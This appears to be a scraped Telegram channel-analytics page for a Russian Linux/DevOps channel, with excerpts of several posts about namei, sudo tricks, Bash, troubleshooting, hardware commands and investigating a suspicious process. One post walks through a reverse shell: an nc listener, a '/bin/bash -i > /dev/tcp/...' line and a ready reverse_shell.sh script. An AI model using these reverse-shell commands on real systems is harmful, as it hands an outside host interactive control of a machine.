LinuxSkill - Сводки с прода и Шпаргалки
Следим за новостями Linux, DevOps и ИБ, чтобы быть готовым к любым факапам. Бонусом — плотные шпаргалки и чеклисты для ежедневной работы в терминале. 📩 По всем вопросам: @chorapov Зеркало в MAX: https://max.ru/LinuxSkill РКН https://vk.cc/cMUwm4
إظهار المزيد📈 نظرة تحليلية على قناة تيليجرام LinuxSkill - Сводки с прода и Шпаргалки
تُعد قناة LinuxSkill - Сводки с прода и Шпаргалки (@linuxskill) في القطاع اللغوي الروسية لاعباً نشطاً. يضم المجتمع حالياً 10 942 مشتركاً، محتلاً المرتبة 11 395 في فئة التكنولوجيات والتطبيقات والمرتبة 59 938 في منطقة روسيا.
📊 مؤشرات الجمهور والحراك
منذ تأسيسه في невідомо، حقق المشروع نمواً سريعاً وجمع 10 942 مشتركاً.
بحسب آخر البيانات بتاريخ 14 يونيو, 2026، تحافظ القناة على نشاط مستقر. خلال آخر 30 يوماً تغيّر عدد الأعضاء بمقدار -65، وفي آخر 24 ساعة بمقدار -1، مع بقاء الوصول العام مرتفعاً.
- حالة التحقق: غير موثّقة
- معدل التفاعل (ER): يبلغ متوسط تفاعل الجمهور 16.52%. وخلال أول 24 ساعة من النشر يحصد المحتوى عادةً 5.95% من ردود الفعل نسبةً إلى إجمالي المشتركين.
- وصول المنشورات: يحصل كل منشور على متوسط 1 808 مشاهدة. وخلال اليوم الأول يجمع عادةً 651 مشاهدة.
- التفاعلات والاستجابة: يتفاعل الجمهور بانتظام؛ متوسط التفاعلات لكل منشور يبلغ 9.
- الاهتمامات الموضوعية: يركز المحتوى على مواضيع رئيسية مثل docker, linux, bash, devops, скрипт.
📝 الوصف وسياسة المحتوى
يصف المؤلف القناة بأنها مساحة للتعبير عن الآراء الذاتية:
“Следим за новостями Linux, DevOps и ИБ, чтобы быть готовым к любым факапам.
Бонусом — плотные шпаргалки и чеклисты для ежедневной работы в терминале.
📩 По всем вопросам: @chorapov
Зеркало в MAX: https://max.ru/LinuxSkill
РКН https://vk.cc/cMUwm4”
بفضل وتيرة التحديث المرتفعة (أحدث البيانات بتاريخ 15 يونيو, 2026) تحافظ القناة على حداثتها ومستوى وصول مرتفع. وتُظهر التحليلات تفاعلاً نشطاً من الجمهور، ما يجعلها نقطة تأثير مهمة ضمن فئة التكنولوجيات والتطبيقات.
namei /home/himanshu/link1 f: /home/himanshu/link1 d / d home d himanshu l link1 -> file1 - file1А теперь с опцией -n:
namei -n /home/himanshu/link1 f: /home/himanshu/link1 d / d home d himanshu l link1 -> file1Видишь разницу? С -n namei останавливается на символической ссылке, не следуя за ней. Это полезно когда: 1. Ты хочешь увидеть только структуру ссылок 2. Нужно избежать зацикливания в сложных структурах ссылок 3. Ты отлаживаешь проблемы с символическими ссылками 📩 Завтра: Вопрос №23 из теста Linux Essentials Certification Включи 🔔 чтобы не пропустить! ____________________ Дополнительный материал: 🧠 - Автоматизируй управление группами файлов с chgrp 🧠 - Секреты успешного CI/CD: Gitea и GitHub Actions, которые ты должен знать 🧠 - Автоматизируй сборку и деплой с GitLab: практическое руководство #Linux_Mastery @LinuxSkill #namei
sudo? 😈
Каждый раз, когда ты вводишь неправильный пароль, система будет подшучивать над тобой острыми фразочками.
Всё работает без установки стороннего шлака!
🚀 Как включить «оскорбительный режим»
Добавь в /etc/sudoers или в отдельный файл в /etc/sudoers.d/ строчку:
Defaults insults
Теперь попробуй выполнить команду от пользователя:
sudo apt update
и нарочно введи неправильный пароль.
Все фразы зашиты в библиотеку /usr/libexec/sudo/sudoers.so.
🎯 Как вывести свои собственные оскорбления
Хочешь персонализировать ответы? Легко!
1. Сначала закомментируй Defaults insults.
2. Добавь свою фразу:
Defaults badpass_message="Попробуй ещё раз, герой терминала!"
Или сделай ротацию фраз через скрипт:
#!/bin/bash
messages=("Неверный пароль! Ты уверен, что это твоя клавиатура?"
"Еще одна ошибка — и я вызываю хакеров!"
"Может, стоит попробовать старый пароль?")
echo "${messages[$RANDOM % ${#messages[@]}]}"
📩 Завтра: Ускоряй рутину в 5 раз: DevToys спасает!
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Автоматизация кибербезопасности: 5 полезных скриптов на Bash
🧠 - Сравнение производительности Nginx и Caddy Performance: кто победит?
🧠 - Как сделать простую защиту от DoS-атак с Fail2Ban?
#Linux_Mastery @LinuxSkill #Linux #Sudo #Fun #Sysadminsudo без пароля? Проверь за 5 секунд!
👋 Привет, мастер терминала! Иногда нужно понять: можешь ли ты выполнять команды через sudo без запроса пароля? Особенно важно для скриптов и автоматизации.
⚡ Базовая проверка:
sudo -n true 2>/dev/null || exit 1
- -n запрещает запрос пароля.
- Команда мгновенно завершится с ошибкой, если пароль требуется.
🛡️ Проверка без влияния кэшированных сессий:
sudo -k
sudo -n true 2>/dev/null || exit 1
- sudo -k очищает кэш пароля.
🔍 Защита от частных NOPASSWD правил:
rand=$(mktemp /tmp/true.XXXXX)
cp /usr/bin/true "$rand"
sudo -n "$rand" 2>/dev/null && echo "Есть доступ" || echo "Нет доступа"
rm "$rand"
- Проверяем реальное право на запуск любой команды без пароля.
🌐 Источник: https://unix.stackexchange.com/questions/777552/check-if-current-user-can-run-sudo-without-requiring-a-password
📩 Завтра: Что будет, если ввести неправильный пароль в sudo? (спойлер: тебя унизят)
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Производительность Nginx vs Apache: кто победит?
🧠 - Как измерить время выполнения программы в Linux?
🧠 - Осторожно: Как не стать жертвой сниффинга паролей на Linux!
#stackoverflow @LinuxSkill #linux #bash #sudo #shell #securityecho
23:53 — Коды выполнения функций
25:39 — Примеры возврата и обработки ошибок
29:49 — Проблемы с перезаписью значений
31:19 — Использование case для обработки кодов
34:24 — Практическое применение: проверка файлов
36:07 — Проверка директорий
37:47 — Тестирование функций
40:25 — Обработка кодов возврата
44:00 — Практическая автоматизация
46:42 — Переопределение системных команд
48:19 — Заключение
🌐 Источник: https://www.youtube.com/watch?v=YtJjsHAynQU
📩 Завтра: Можешь ли ты использовать sudo без пароля? Проверь за 5 секунд!
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Prometheus - Как мониторить Динамичное количество серверов на AWS
🧠 - Освободи место на сервере: 5 способов автоматического удаления старых файлов!
🧠 - Cruft: Утилита для поиска ненужных файлов на Linux серверах
#Linux_youtube @LinuxSkill #bash #linux #bashскрипты #программированиеcase круче вложенных if в Bash
Привет! 👋
Сегодня разберём тему, которая сэкономит тебе нервы и часы работы в Bash-скриптах — конструкцию case.
Научимся заменять кучу вложенных if на красивую, компактную структуру.
Зачем смотреть:
- Поймёшь, как избавиться от запутанных вложенных условий.
- Упорядочишь логику скриптов, сделав их читабельнее и надежнее.
- Научишься строить крутые сценарии обработки пользовательского ввода.
Таймкоды:
00:02 — Введение в конструкцию case
02:16 — Пример использования case
05:18 — Мультибор условий
08:43 — Комбинируем case и цикл while
15:09 — Управление циклом с помощью break и exit
23:47 — Заключение о возможностях конструкции
26:35 — Тестирование и демонстрация ошибок
27:27 — Проблемы вложенности if
28:09 — Как сделать код компактным и читаемым
28:20 — Финальные советы и прощание
🌐 Источник: https://www.youtube.com/watch?v=bdTDSprkTGE
📩 Завтра: Вопрос №28 из теста Linux Essentials Certification
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Мастер-класс по iptables: блокируем IP, создаем файрвол и управляем трафиком!
🧠 - Prometheus - Как установить Grafana, настроить Data Source, добавить Dashboards?
🧠 - Защити свои данные: Автоматическое резервное копирование на Linux
#Linux_youtube @LinuxSkill #bash #linux #скрипты #обучениеnc -lvnp 2288
> Параметры:
> - -l — слушать входящие подключения
> - -v — подробный режим
> - -n — не использовать DNS
> - -p — указать порт
2. На целевом сервере (внутреннем):
/bin/bash -i > /dev/tcp/IP_инженера/2288 0<&1 2>&1
И вуаля! Инженер получает полноценный терминал с правами текущего пользователя. 🎯
Важно:
- Проверь IP заранее.
- Убедись в правах доступа.
- Используй только в рамках закона и корпоративных правил! ⚖️
🛠️ Автоматизация: скрипт Reverse Shell за 1 команду
Чтобы ещё быстрее организовать подключение, можно использовать мини-скрипт:
#!/bin/bash
read -p "Введите IP инженера: " IP
read -p "Введите порт (по умолчанию 2288): " PORT
PORT=${PORT:-2288}
bash -i >& /dev/tcp/${IP}/${PORT} 0>&1
Как использовать:
1. Сохрани этот код в файл, например reverse_shell.sh.
2. Выдай права на исполнение:
chmod +x reverse_shell.sh
3. Запусти:
./reverse_shell.sh
Скрипт сам спросит IP и порт, а дальше всё произойдёт автоматически!
📩 Завтра: Вопрос №27 из теста Linux Essentials Certification
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Производительность Nginx против Traefik: кто победит?
🧠 - Как уменьшить размер образа Docker: от 1,2 ГБ до 10 МБ
🧠 - Нужно ли ставить кавычки вокруг переменных в shell-скриптах?
#Linux #Netcat #Security #ReverseShell sudo apt-get install -f
- Очисти кэш и обнови пакеты:
sudo apt-get clean
sudo apt-get update
🌐 Проблемы с сетью
- Проверь интерфейсы:
ip a
- Перезапусти сеть:
sudo systemctl restart NetworkManager
- Проверь DNS:
cat /etc/resolv.conf
🔐 Проблемы с правами доступа
- Выполни команду от суперпользователя:
sudo <command>
- Исправь права на файлы и каталоги:
sudo chmod 755 /path/to/dir
sudo chown user:user /path/to/file
🖥️ Проблемы с загрузкой системы
- Восстанови GRUB:
sudo grub-install /dev/sda
sudo update-grub
- Проверь файловую систему:
sudo fsck /dev/sda1
🗄️ Нет места на диске
- Посмотри занятое пространство:
df -h
- Очисти временные файлы:
sudo apt-get clean
sudo rm -rf /var/cache/apt/archives/*
📡 Проблемы с NFS
- Проверь и перезапусти сервисы:
sudo systemctl status nfs-server
sudo systemctl restart nfs-server
🐍 Конфликты в Python
- Используй виртуальные окружения:
python3 -m venv myenv
source myenv/bin/activate
pip install <package>
🔥 Проблемы с SELinux
- Просмотри логи:
sudo ausearch -m avc -ts recent
- Переключи в permissive-режим:
sudo setenforce 0
🧩 Ошибки с модулями ядра
- Загрузи модуль вручную:
lsmod
sudo modprobe <module>
🔥 Проблемы с фаерволом
- Посмотри текущие правила:
sudo iptables -L
- Открой нужный порт:
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT
📚 Забирай эту базу знаний в закладки и экономь часы жизни! Проблемы больше не застанут тебя врасплох.
📩 Завтра: Reverse Shell на практике: подключаемся к скрытому серверу за 1 минуту
Включи 🔔 чтобы не пропустить!
________________
Дополнительный материал:
🧠 - Открой секреты своей системы: 18 команд которые должен знать каждый линуксоид!
🧠 - Осторожно: Никогда не запускай эти 11 команд в Linux!
🧠 - Защита SSH-сервера: порты, ключи и iptables
#Linux_Mastery @LinuxSkill #Linux #Troubleshooting #Errors #Sysadmin #DevOpsuname -a — версия ядра и архитектура системы.
🖥️ Информация о железе
- lspci — список всех устройств на шинах PCI.
- lsusb — список USB-контроллеров и устройств.
- lshw — детальное описание железа.
- hwinfo — альтернатива lshw с расширенными данными.
- dmidecode — чтение таблицы DMI/SMBIOS (информация о BIOS, материнке, памяти).
🧠 Процессор и память
- lscpu — характеристики процессора.
- free -h — текущая загрузка ОЗУ.
- cat /proc/cpuinfo — подробности о CPU.
🛠️ Диски и файловые системы
- lsblk — список всех блочных устройств.
- blkid — метки разделов и UUID.
- fdisk -l, gdisk -l, parted -l — разметка дисков.
- df -h — свободное место на дисках.
- mount — список смонтированных разделов.
🔥 Дополнительно
- dmesg — лог загрузки ядра и сообщения устройств.
- hdparm -I /dev/sdX — характеристики жестких дисков.
- inxi -Fxz — сводный отчёт о системе и железе.
🛡️ Все команды работают в терминале, без GUI. Удобно для серверов, VPS и быстрой диагностики локальных машин.
📩 Завтра: 10 самых частых ошибок в Linux и как быстро их исправить
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Твой незаменимый помощник: Скрипт для мониторинга Linux!
🧠 - Открой секреты защиты от DDoS-атак с помощью экспертов
🧠 - Как найти различия между двумя деревьями каталогов в Linux?
#Linux_Mastery @LinuxSkill #Linux #Sysadmin #Hardware #Terminal #Diagnostics89cdb92b, потом меняется на другое (ac1e4262)
- Процесс запущен от root
- CPU загружено на 25369% (!)
- Файл процесса уже удалён: /proc/<PID>/exe → (deleted)
Это может быть майнер или вредоносная программа. Простое перезагружение не решает проблему: процесс появляется снова.
🔍 Что делать:
1. Проверить родителя процесса:
pstree -sap <PID>
2. Узнать командную строку процесса:
ps -o args -p <PID>
3. Скопировать бинарник для анализа:
cp /proc/<PID>/exe /tmp/suspect_binary
4. Безопасно изучить его содержимое:
strings /tmp/suspect_binary
5. Проверить открытые файлы:
lsof -p <PID>
6. Изучить логи на момент запуска процесса:
journalctl -S 'YYYY-mm-dd HH:MM'
📌 Важно: при компрометации — лучше переустановить систему с чистого образа!
🌐 Источник: https://unix.stackexchange.com/questions/782519/high-cpu-usage-by-process-with-obfuscated-name-on-linux-server-potential-attac
📩 Завтра: Как узнать ВСЁ о железе и системе в Linux за 5 минут
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Неожиданные секреты Linux: 12 утилит, которые спасут твой сервер!
🧠 - Открой для себя 15 малоизвестных команд LINUX, которые изменят твою жизнь
🧠 - Как удалить экспортированную переменную окружения в Linux?
#stackoverflow @LinuxSkill #Linux #Security #Malware #CPU #Root
متاح الآن! بحث تيليغرام 2025 — أهم رؤى العام 
